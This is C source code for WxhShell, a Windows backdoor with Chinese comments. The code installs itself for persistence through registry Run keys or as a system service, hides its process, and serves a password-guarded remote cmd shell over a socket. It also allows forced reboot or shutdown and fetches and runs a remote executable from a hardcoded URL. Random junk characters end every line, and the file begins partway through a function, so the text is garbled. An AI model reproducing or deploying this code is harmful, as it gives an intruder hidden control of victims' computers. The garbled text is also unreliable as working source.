    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F/"lJ/I  
    if(Boot(SHUTDOWN)) 2]H?q!l!O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^Hq 5Oy  
    else { bs)Ro/7}  
    closesocket(wsh); ^%qQ)>I=j  
    ExitThread(0); O)`ye5>v  
    } \4uj!LgTb  
    break; P,k=u$  
    } ngzQVaB9  
  // 获取shell dDl_Pyg4K  
  case 's': { @`HW0Y_:  
    CmdShell(wsh); U \jFB*U  
    closesocket(wsh); 0VIR =Pbp  
    ExitThread(0); vSk1/  
    break; S0;s 7X#c  
  } }1NNXxQ  
  // 退出 ;s5JYR  
  case 'x': { I3YSW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 op{h6  
    CloseIt(wsh); th+LScOX  
    break; ;B;wU.Y"  
    } ?*cCn-|  
  // 离开 `r0MQkk  
  case 'q': { T!>sL=uf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XKvH^Z4h{l  
    closesocket(wsh); +SkfT4*U  
    WSACleanup(); ePTxuCf>  
    exit(1); >vNE3S_  
    break; $Eo-58<q  
        } s2 $w>L  
  } 2=X.$&a  
  } t5EYu*  
J n'SGR  
  // 提示信息 u`u{\ xN9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^h"@OEga?  
} c`7dNx  
  } PsN_c[+  
"1hFx=W+\  
  return; 'w_Qs~6~{  
} P@U2Q%\  
l$C Y gm  
// shell模块句柄 *Q;?p hr  
int CmdShell(SOCKET sock) Y\E7nll:.  
{ ~FnY'F<35  
STARTUPINFO si; ;V84Dy#b  
ZeroMemory(&si,sizeof(si)); e,l-}=5* P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i_p-|I:hQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a!, X@5  
PROCESS_INFORMATION ProcessInfo; KR>o 2  
char cmdline[]="cmd"; :71St '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [f=Y*=u9,  
  return 0; 1/c+ug!y  
} % ejq|i7  
BxesoB  
// 自身启动模式 <6C:\{eo  
int StartFromService(void) )%HIC@MM6  
{ M} Mgz  
typedef struct Zl?9ibm;@  
{ , jCE hb  
  DWORD ExitStatus; -6# _t  
  DWORD PebBaseAddress; ~g*5."-i  
  DWORD AffinityMask; ;G*)7fi  
  DWORD BasePriority; k!d<2Qp W  
  ULONG UniqueProcessId; F:LrQu  
  ULONG InheritedFromUniqueProcessId; [$Jsel<T=  
}   PROCESS_BASIC_INFORMATION; 0m4'm<2m  
2Vx x  
PROCNTQSIP NtQueryInformationProcess; >*$Xbj*  
RJdijj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vHb^@z=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [iC]Wh%  
.L.9e#?3  
  HANDLE             hProcess; iK8jX?  
  PROCESS_BASIC_INFORMATION pbi; [ic%ZoZ_  
5JS*6|IbD{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2fP;>0?  
  if(NULL == hInst ) return 0; Ij:yTu   
N: 5 N}am  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tb{RQ?Nw'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); </W"e!?X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J@qLBe(v  
U"a7myB+jX  
  if (!NtQueryInformationProcess) return 0; i_av_I-  
]2MX7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v(P <_}G  
  if(!hProcess) return 0; m1M6N`f  
6+:;M b_S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 593!;2/@  
,Uy;jk  
  CloseHandle(hProcess); rnBp2'EM  
& 5QvUn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x|g2H.n  
if(hProcess==NULL) return 0; 8[:G/8VI  
Nop61zj  
HMODULE hMod; "_:6v64Gx  
char procName[255]; yh.WTgcW  
unsigned long cbNeeded; 'a>D+A:  
-0<ZN(?|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )*aAkM  
Bq tN=  
  CloseHandle(hProcess); p:3w8#)MZ  
wcGv#J],  
if(strstr(procName,"services")) return 1; // 以服务启动 n/YnISt  
ulfs Z:  
  return 0; // 注册表启动 #p-\Y7f  
} *pyC<4W  
?5wsgP^  
// 主模块 .p(r|5(b  
int StartWxhshell(LPSTR lpCmdLine) WZ UeW*#=  
{ LVdtI  
  SOCKET wsl; nIqF:6/  
BOOL val=TRUE; A:5P  
  int port=0; X,D ]S@  
  struct sockaddr_in door; w{GEWD{&  
{,= hIXo>  
  if(wscfg.ws_autoins) Install(); %Lq}5zB  
ypx`!2Q$  
port=atoi(lpCmdLine); iDYm4sY  
M%s!qC+  
if(port<=0) port=wscfg.ws_port; )/Oldyp  
i*mI-l  
  WSADATA data; Q+Eqaz`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =nlj|S ~3  
^cuH\&&7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /'^ BH A|h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "tu*(>'~5  
  door.sin_family = AF_INET; W!1 B~NH#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ii>#9>!F  
  door.sin_port = htons(port); }d@;]cps  
7mL1$i6=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aj-:JTf  
closesocket(wsl); .GWN~iR(  
return 1; Hio+k^  
} M{p9b E[j  
AG"iS<u  
  if(listen(wsl,2) == INVALID_SOCKET) { ""h%RhcZ\  
closesocket(wsl); qBZ;S3  
return 1; LN9.Q'@r?  
} m; PTO$--  
  Wxhshell(wsl); ^BP4l_rO9  
  WSACleanup(); 1+Vei<H$  
MPLeqk$;  
return 0; tZ:fOM  
ACF_;4%&  
} .:tR*Kst`7  
"WH &BhQYD  
// 以NT服务方式启动 SRrp= >w?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^[v>B@p*{  
{ lo36b zbT  
DWORD   status = 0; !"'@c  
  DWORD   specificError = 0xfffffff; #q8/=,3EG  
_,w*Rv5=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FPEab69  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &09G9GsnQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; biVsbxYurq  
  serviceStatus.dwWin32ExitCode     = 0; Gi&/`vm  
  serviceStatus.dwServiceSpecificExitCode = 0; (V"7H  
  serviceStatus.dwCheckPoint       = 0; @9\E  
  serviceStatus.dwWaitHint       = 0; am/D$ (l1  
2SKtdiY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;`Z>^.CB  
  if (hServiceStatusHandle==0) return; B9'2$s+Z;  
S}K-\[i?  
status = GetLastError(); 'Y/8gD~.  
  if (status!=NO_ERROR) .[Ny(X/]/}  
{ >Fc=F#tA9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {7Kl #b  
    serviceStatus.dwCheckPoint       = 0; 8qT^=K $  
    serviceStatus.dwWaitHint       = 0; <g, 21(bc  
    serviceStatus.dwWin32ExitCode     = status; 51'V[tI;8  
    serviceStatus.dwServiceSpecificExitCode = specificError; LtNspFoLb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SA [(1dy;  
    return; B'6(Ao=3/  
  } }RQ'aeVl(  
?:W=ddg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d%oHcn  
  serviceStatus.dwCheckPoint       = 0; (>dL  
  serviceStatus.dwWaitHint       = 0; ,fj~BkW{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T? ,Q=.  
} 3) XS^WG  
ca%XA|_J  
// 处理NT服务事件,比如:启动、停止 EDg; s-T=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >,f5 5  
{ Ex{;&UWm  
switch(fdwControl) d/E0opv  
{ )7WLbj!M  
case SERVICE_CONTROL_STOP: cN)noGkp  
  serviceStatus.dwWin32ExitCode = 0; H+Q_%%[N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &CfzhIi*!  
  serviceStatus.dwCheckPoint   = 0; XL(2Qk  
  serviceStatus.dwWaitHint     = 0; tz2$j@!=  
  { / q^_ 'Lp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h\8bo=  
  } j)}TZx4~  
  return; :{?Pq8jP  
case SERVICE_CONTROL_PAUSE: ,MD >Jx|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YwJ<0;:+hS  
  break; @>[3 [;  
case SERVICE_CONTROL_CONTINUE: B:)vPO+ d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %3q7i`AZ  
  break; RR>G}u9 np  
case SERVICE_CONTROL_INTERROGATE: M,SIs 3  
  break; ^!SwY_>  
}; qx}*L'xB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oSP^ .BJ$  
} ?q"9ZYX<  
KzB9 mMrO  
// 标准应用程序主函数 bbWW|PtWwP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W}k)5<C4v  
{ 1["IT.,f.  
'he&h4fm  
// 获取操作系统版本 &tw{d DD6  
OsIsNt=GetOsVer(); dVBr-+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;(LC{jY  
lV?OYS|4i  
  // 从命令行安装  "-G&]YMl  
  if(strpbrk(lpCmdLine,"iI")) Install(); i.+#a2   
>  !WFY  
  // 下载执行文件 5ma~Pjt8}  
if(wscfg.ws_downexe) { hy@e(k|S]U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > Cx;h=  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Tf0L<A'R  
} 2X=*;r"{J  
9tB:1n}  
if(!OsIsNt) { 'z Qp64]F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y>K3.*.  
HideProc(); q)]S:$?BT  
StartWxhshell(lpCmdLine); @oFuX.  
} ] -G~  
else gR k+KGKn<  
  if(StartFromService()) _"qX6Jc  
  // 以服务方式启动 *w1R>  
  StartServiceCtrlDispatcher(DispatchTable); h8HA^><Xr  
else {-s7_\|p(  
  // 普通方式启动 %X(|Z4dL  
  StartWxhshell(lpCmdLine); h>n<5{zqM  
xQ8?"K;iX  
return 0; \eS-wO7%  
} _({K6adb  
_^Q =n>G  
1$uO%  
9K#U<Q0b'  
=========================================== )7iYx{n  
(M,*R v  
.p\<niu7  
C-VkXk  
)n$RHt+:>  
T28Q(\C:}  
" C?PgC~y)  
E XQ 3(:&  
#include <stdio.h> $-_@MT~  
#include <string.h> Ga $EM  
#include <windows.h> $:*/^)L  
#include <winsock2.h> *iujJ i  
#include <winsvc.h> ]q@W(\I  
#include <urlmon.h> <{A|Xs  
UC?i>HsJrX  
#pragma comment (lib, "Ws2_32.lib") gK- $y9]~+  
#pragma comment (lib, "urlmon.lib") YnX6U 1/^  
I#](mRJ6  
#define MAX_USER   100 // 最大客户端连接数 O%busM$P)/  
#define BUF_SOCK   200 // sock buffer 'U4@Sax,  
#define KEY_BUFF   255 // 输入 buffer G+jcR; s  
bOdyrynh  
#define REBOOT     0   // 重启 /PtmJ2 [  
#define SHUTDOWN   1   // 关机 <,(Ww   
<@H=XEn  
#define DEF_PORT   5000 // 监听端口 \ dZD2e4  
)R"deb=s  
#define REG_LEN     16   // 注册表键长度 !8OUH6{2  
#define SVC_LEN     80   // NT服务名长度 YX6[m6L U  
F$>^pw  
// 从dll定义API +L<x0-&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u[1'Ap  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "pkn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x-ZCaa}O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z/= HQ8  
k[;(@e@c  
// wxhshell配置信息 Ih5F\eM  
struct WSCFG { MNsgD3  
  int ws_port;         // 监听端口 Ed&M  
  char ws_passstr[REG_LEN]; // 口令 ewzZb*\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4Awl  
  char ws_regname[REG_LEN]; // 注册表键名 j{;IiVHnR  
  char ws_svcname[REG_LEN]; // 服务名 /? HLEX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ryoD 1OE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e=EM07z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L9(!L$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NW@guhK.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .eM A*C~n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @P}!mdH1  
s4Y7x.-  
}; BJ7m3[lz  
&&{_T4  
// default Wxhshell configuration "r.eN_d  
struct WSCFG wscfg={DEF_PORT, ao.v]6a  
    "xuhuanlingzhe", p+d?k"WN?  
    1, k6W  [//  
    "Wxhshell", ys$X!Ep  
    "Wxhshell", F5;x>;r  
            "WxhShell Service", <ooRpn  
    "Wrsky Windows CmdShell Service", *[[TDduh&  
    "Please Input Your Password: ", V/i7Zh#2:  
  1, !Typ_Cs  
  "http://www.wrsky.com/wxhshell.exe", vaUUesytt  
  "Wxhshell.exe" 0`l(c  
    }; E7UYJ)6]  
Qg4g(0E@  
// 消息定义模块 @+ U++  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :6X?EbXhK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L BP|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0'.7dzz  
char *msg_ws_ext="\n\rExit."; YkbZ 2J*-  
char *msg_ws_end="\n\rQuit."; \%011I4  
char *msg_ws_boot="\n\rReboot..."; S) [$F}  
char *msg_ws_poff="\n\rShutdown..."; tcU4$%H/  
char *msg_ws_down="\n\rSave to "; Um\_G@  
A/{0J\pA  
char *msg_ws_err="\n\rErr!"; dk4|*l-  
char *msg_ws_ok="\n\rOK!"; SRf .8j  
G%RhNwm  
char ExeFile[MAX_PATH]; 4w-P%-4  
int nUser = 0; _f5n t:-  
HANDLE handles[MAX_USER]; QnNddCiu=  
int OsIsNt; p6e9mSs  
U:o(%dk  
SERVICE_STATUS       serviceStatus; L=."<,\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a4iq_F#NF  
4P\?vz"  
// 函数声明 .8.LW4-ff  
int Install(void); vD*9b.*  
int Uninstall(void); G.#sX  
int DownloadFile(char *sURL, SOCKET wsh); \@i4im@%xU  
int Boot(int flag); dF/HKBJ  
void HideProc(void); m6=Jp<  
int GetOsVer(void); =ADdfuKN  
int Wxhshell(SOCKET wsl); L 2:N@TP  
void TalkWithClient(void *cs); RTR@p =ck  
int CmdShell(SOCKET sock); 3m9ab"  
int StartFromService(void); )dgo oq  
int StartWxhshell(LPSTR lpCmdLine); -^%YrWgd?  
$"G=r(MW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t&99ZdE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &;O)Dw  
IrZ!.5%tV  
// 数据结构和表定义 ;3H#8x-  
SERVICE_TABLE_ENTRY DispatchTable[] = p+>vX X  
{ zgh~P^Z  
{wscfg.ws_svcname, NTServiceMain}, /}=Bi-  
{NULL, NULL} 0ynvn9@t  
}; ,S7 g=(27(  
KDzTe9  
// 自我安装 2XN];,{  
int Install(void) R |h(SXa  
{ BE]PM nI  
  char svExeFile[MAX_PATH]; g`BtG  
  HKEY key; )+S^{tt  
  strcpy(svExeFile,ExeFile); ~qxuD_  
9 L^:N)-  
// 如果是win9x系统,修改注册表设为自启动  + Y  
if(!OsIsNt) { U F ]g6u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a9CK4Kg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P<<hg3@  
  RegCloseKey(key); NlnmeTLO5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y uo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); atA:v3"  
  RegCloseKey(key); V!94I2%#x  
  return 0; <(U :v  
    } :UgCP ~Y  
  } #I(Ho:b  
} (;o/2Q?  
else { *?GV(/Q  
T8ftBIOi  
// 如果是NT以上系统,安装为系统服务 ^5yFb=2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lB Y"@N  
if (schSCManager!=0) L~])?d  
{ 3\Ma)\>R\-  
  SC_HANDLE schService = CreateService g,N"o72)  
  ( IfdgMELk  
  schSCManager, MSw:Ay [9  
  wscfg.ws_svcname, i$:\,  
  wscfg.ws_svcdisp, X( H-U q*(  
  SERVICE_ALL_ACCESS, g^dPAjPQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sZ!/uN!6  
  SERVICE_AUTO_START, CI };$4W~  
  SERVICE_ERROR_NORMAL, XvIrO]F-  
  svExeFile, C/{tvY /o  
  NULL, eZ^-gk?  
  NULL, -:|1>og  
  NULL, {IlX@qWr  
  NULL, `1eGsd,f  
  NULL z` :uvEX0  
  ); JWuF ?<+k  
  if (schService!=0) !VJ5(b  
  { 9<ev]XaSl  
  CloseServiceHandle(schService); rprtp5Cg  
  CloseServiceHandle(schSCManager); xxN=,p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Alsr6uLT1  
  strcat(svExeFile,wscfg.ws_svcname); -%*w&',G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0DFxVH_xN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C/w!Y)nB=  
  RegCloseKey(key); Xt!%W    
  return 0; `f9I#B  
    } UF)4K3X  
  } itmdY!;<  
  CloseServiceHandle(schSCManager); dsh S+d  
} OEN!~-u  
} Y^Olcz  
w/`I2uYu  
return 1; -m.SN>V  
} f;k'dqlv  
> %~%O`+  
// 自我卸载 *Hnk,?kPq  
int Uninstall(void) xgi/,Nk '  
{ fA]b'8  
  HKEY key; $1h,<$5H  
Y!8Ik(/~i  
if(!OsIsNt) { T@ [*V[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cG"+n@ \  
  RegDeleteValue(key,wscfg.ws_regname); H ',Nt  
  RegCloseKey(key); Fj`6v"h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u5, \Kz  
  RegDeleteValue(key,wscfg.ws_regname); w1je|Oil  
  RegCloseKey(key); Zljj  
  return 0; `nxm<~-\  
  } =vv4;az X  
} xt%-<%s%f  
} 4EO,9#0  
else { 86s.qPB0  
CCp8,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #N=!O/Y  
if (schSCManager!=0) u49v,,WGw  
{ eN/o}<(e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); se)vi;J7K  
  if (schService!=0) q@i,$R  
  { S9$*w!W  
  if(DeleteService(schService)!=0) { SYPG.O?I  
  CloseServiceHandle(schService); 26c,hPIeXY  
  CloseServiceHandle(schSCManager); V0,%g+.^  
  return 0; Qg\OJmv  
  } JY+ N+c\  
  CloseServiceHandle(schService); Pw^ lp'dO  
  } ZR~ *Yofy  
  CloseServiceHandle(schSCManager); wz-#kH5?  
} 8u,f<XHi"a  
} E6{|zF/3'  
iI2 7N'g  
return 1; liW0v!jBo  
} <_S>-;by  
l@x/{0  
// 从指定url下载文件 ,Qgxf';+$  
int DownloadFile(char *sURL, SOCKET wsh) >Jl(9)e  
{ bIR AwktD  
  HRESULT hr; Q1fJ`A=  
char seps[]= "/"; q F \a]e  
char *token; ay\e# )  
char *file; ?I6us X9$  
char myURL[MAX_PATH]; nV|H5i;N7  
char myFILE[MAX_PATH]; _]~gp.  
NArql  
strcpy(myURL,sURL); %"2 ;i@  
  token=strtok(myURL,seps); IpX>G]"-C  
  while(token!=NULL) ^6*2a(S&  
  { d66 GO];"  
    file=token; JsfX&dX0  
  token=strtok(NULL,seps); ,;aELhMZ  
  } *(%]|z}]m  
87Sqs1>cw  
GetCurrentDirectory(MAX_PATH,myFILE); nQ*9|v4  
strcat(myFILE, "\\"); E,]G Ek  
strcat(myFILE, file); 9'tElpDJ6#  
  send(wsh,myFILE,strlen(myFILE),0); o1j_5c PS  
send(wsh,"...",3,0); zCvt"!}RRa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s3+^q  
  if(hr==S_OK) .^<4]  
return 0; ]UR@V;JG  
else }n+#o!uEf  
return 1; 6]=$c<.&  
^:.=S`,^  
} de?Bn+mvi.  
]]\\Y|0  
// 系统电源模块 :27GqY,3sK  
int Boot(int flag) ,k*g `OTW  
{ l2))StEm  
  HANDLE hToken; WUQlAsme  
  TOKEN_PRIVILEGES tkp; &-Bw7v  
mHqw,28}  
  if(OsIsNt) { 2|xNT9RW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r Z0+mS'/G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pDGX$1O"  
    tkp.PrivilegeCount = 1; X>C l{.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B|Y6;4?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (mHCK5  
if(flag==REBOOT) { rkF]Q_'`t;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |IbCN  
  return 0; _5F8F4QY`  
} 0B0Uay'd_  
else { lx8@;9fLy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UenB4  
  return 0; DYJ F6O  
} yF &"'L  
  } g$c\(isY;  
  else { YQb43Sh`  
if(flag==REBOOT) { $"z|^ze  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0ZY.~b'eu  
  return 0; s2-`}LL  
} VKW9Rn9Qg  
else { |/u&%w?W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Byx8`Cx1  
  return 0; G j6(ycaS  
} lkNaSz[  
} Xx~za{p  
FOB9J.w4  
return 1; D$W&6'  
} (Sr D  
D -Goi-4  
// win9x进程隐藏模块 !,f{I5/  
void HideProc(void) P&Vqr  
{ b5kw*h+/'h  
C?v_ig  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [<;4$}f\  
  if ( hKernel != NULL ) 6xk~Bt  
  { _`4jzJ*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pqe{C?7B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xh$1Rwa  
    FreeLibrary(hKernel); "PM!03rb  
  } !;";L5()  
;9>(yJI+  
return; M_-LI4>  
} vs3px1Xe#  
Bnju_)U5)  
// 获取操作系统版本 DYS|"tSk  
int GetOsVer(void) mJBvhK9%  
{ s68&AB   
  OSVERSIONINFO winfo; %E\&9,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L0\97AF  
  GetVersionEx(&winfo); e;1n!_l\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *#O8 ^3D_c  
  return 1; os|Y=a  
  else NdpcfZ q  
  return 0; RrMC[2=  
} iGG;  
MdzG2uZT  
// 客户端句柄模块 /s91[n(d  
int Wxhshell(SOCKET wsl) }pP<+U  
{ 9G7lPK  
  SOCKET wsh; +8tdAw  
  struct sockaddr_in client; 86[/NTD<-  
  DWORD myID; ,2H@xji [  
:JBvCyj4PE  
  while(nUser<MAX_USER) Qqt<  
{ %nU8 Ca  
  int nSize=sizeof(client); 9.F+)y@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F$l]#G.@A  
  if(wsh==INVALID_SOCKET) return 1; K!|%mI8gk  
wB(A['k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uWs5 +  
if(handles[nUser]==0) >EQd;Af  
  closesocket(wsh); @ lo6?9oNo  
else 4a'GWzUtS  
  nUser++; W0vdU;?%  
  } (E'f'g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ne^md  
%O$4da"y  
  return 0; u`Ew^-">  
} ![ & go  
bERYC|  
// 关闭 socket $S~e"ca1  
void CloseIt(SOCKET wsh) jD@KG  
{ 2rS|V|d  
closesocket(wsh); |Qq_;x]  
nUser--; ,j{$SuZ M  
ExitThread(0); J|k~e,C  
} jOuz-1x,&  
}R.<\  
// 客户端请求句柄 _1D'9!+   
void TalkWithClient(void *cs) p=T,JAIt  
{ Ol8ma`}Nq3  
j5lSu~  
  SOCKET wsh=(SOCKET)cs; nl9G1Sm(E  
  char pwd[SVC_LEN]; N7A/&~g5L  
  char cmd[KEY_BUFF]; N%1T>cp0  
char chr[1]; =d#3& R]p  
int i,j; CO25  
XdKhT618G  
  while (nUser < MAX_USER) { 8$ SA"c)  
*,w9#?2x  
if(wscfg.ws_passstr) { -J?i6BHb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n@9*>D U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E 9=a+l9  
  //ZeroMemory(pwd,KEY_BUFF); ZqaCe>  
      i=0; ;x.xj/7  
  while(i<SVC_LEN) { sxq'uF(K  
$0[T=9q <+  
  // 设置超时 MjIp~?*  
  fd_set FdRead; tOn_S@/r  
  struct timeval TimeOut; n !ty\E  
  FD_ZERO(&FdRead); L_Q1:nL-0  
  FD_SET(wsh,&FdRead); 'Wv=mBEfZ  
  TimeOut.tv_sec=8; Do3;-yp>`  
  TimeOut.tv_usec=0; -\mbrbG9H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3c<). aC0f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y|bCbaF  
:-x F=Y(;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S<Zb>9pl  
  pwd=chr[0]; w!{g^*R+!  
  if(chr[0]==0xd || chr[0]==0xa) { !(=bH"P  
  pwd=0; b[<Q_7~2  
  break; v#EXlpS  
  } =i jGB~  
  i++; D'y/ pv}!  
    } 4zyy   
IaDc hI  
  // 如果是非法用户,关闭 socket /6_>d $  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F?]nPb|  
} PqMU&H_  
2+pLDIIT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gq4~9Tm)*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fyu CYg \p  
T7eo_Mn  
while(1) { B|#*I[4`w@  
Hd(|fc{2  
  ZeroMemory(cmd,KEY_BUFF); MqXN,n+`k  
8NLTq|sW  
      // 自动支持客户端 telnet标准   }a= &o6=  
  j=0; /`yb75  
  while(j<KEY_BUFF) { =k]RzeI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <5*cc8  
  cmd[j]=chr[0]; eup#.#J  
  if(chr[0]==0xa || chr[0]==0xd) { ]kC/b^~+m  
  cmd[j]=0; ^hOnLy2  
  break; j'lfH6_')e  
  } v%t "N  
  j++; $N[-ks2 {@  
    } x|/zn<\^  
7o?6Pv%HJC  
  // 下载文件 fDo )~t*~  
  if(strstr(cmd,"http://")) { Bor_Kib  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;hsgi|Cy-  
  if(DownloadFile(cmd,wsh)) MrIo.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1`|E- S=  
  else o ~"?K2@T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8E`rs)A  
  } LO8V*H(  
  else { VIo %((  
